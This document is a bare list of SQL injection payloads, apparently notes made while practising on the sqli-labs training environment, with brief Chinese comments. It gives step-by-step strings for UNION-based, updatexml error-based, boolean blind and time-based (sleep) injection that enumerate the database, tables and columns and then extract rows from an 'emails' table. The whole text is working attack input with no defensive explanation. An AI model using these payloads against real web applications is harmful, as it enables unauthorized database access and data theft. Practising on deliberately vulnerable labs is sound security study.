?id=100 'union select 1,database(),3-- asd
​
?id=100 'union select 1,table_name,3 from information_schema.tables where table_schema='security' limit 0,1-- asd
?id=100 'union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()-- asd
​
?id=100 'union select 1,column_name,3 from information_schema.columns where table_schema='security' and table_name='emails'limit 0,1-- asd
?id=100 'union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='security'and table_name='emails'-- asd
​
?id=-7' union select 1,group_concat(id),3 from emails -- asd
​
​
//updatexml
​
?id=1" and updatexml(1,concat(0x7e,(select database())),3)-- asd
​
?id=1" and updatexml (1, concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),3)-- asd
​
?id=1" and updatexml (1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='security'and table_name='emails'),0x7e),3)-- asd
​
?id=1" and updatexml (1,concat(0x7e,(select group_concat(id) from emails),0x7e),3)-- asd
​
?id=1'and (ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1)))=101 -- asd
​
//布尔盲注
?id=1'and length(database())=8-- asd
​
?id=1'and ascii(substr(database(),1,1))=115 -- asd
​
?id=1' and(select count(table_name) from information_schema.tables where table_schema= database() )=4-- asd //查看库里有几个表
​
?id=1' and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=6-- asd//看第一个表名长度
​
?id=1'and (ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1)))=101 -- asd//爆表名
​
?id=1'a nd (ascii(substr((select column_name from information_schema.columns where table_schema='security'and table_name='emails' limit 0,1),1,1)))=105 -- asd
​
?id=1'and (ascii(substr((select id from emails limit 0,1),1,1)))=4-- asd
​
//延时注入
?id=1'and if((length(database())=8),sleep(5),1)-- asd
​
?id=1' and if((ascii(substr(database(),1,1))=115),sleep(5),1)-- asd
​
?id=1' and if((ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))=101),sleep(5),1)-- asd
​
?id=1' and if((ascii(substr((select column_name from information_schema.columns where table_schema='security'and table_name='emails' limit 0,1),1,1))=105),sleep(5),1)-- asd
​
?id=1'and if((ascii(substr((select id from emails limit 0,1),1,1))=49),sleep(5),1)-- asd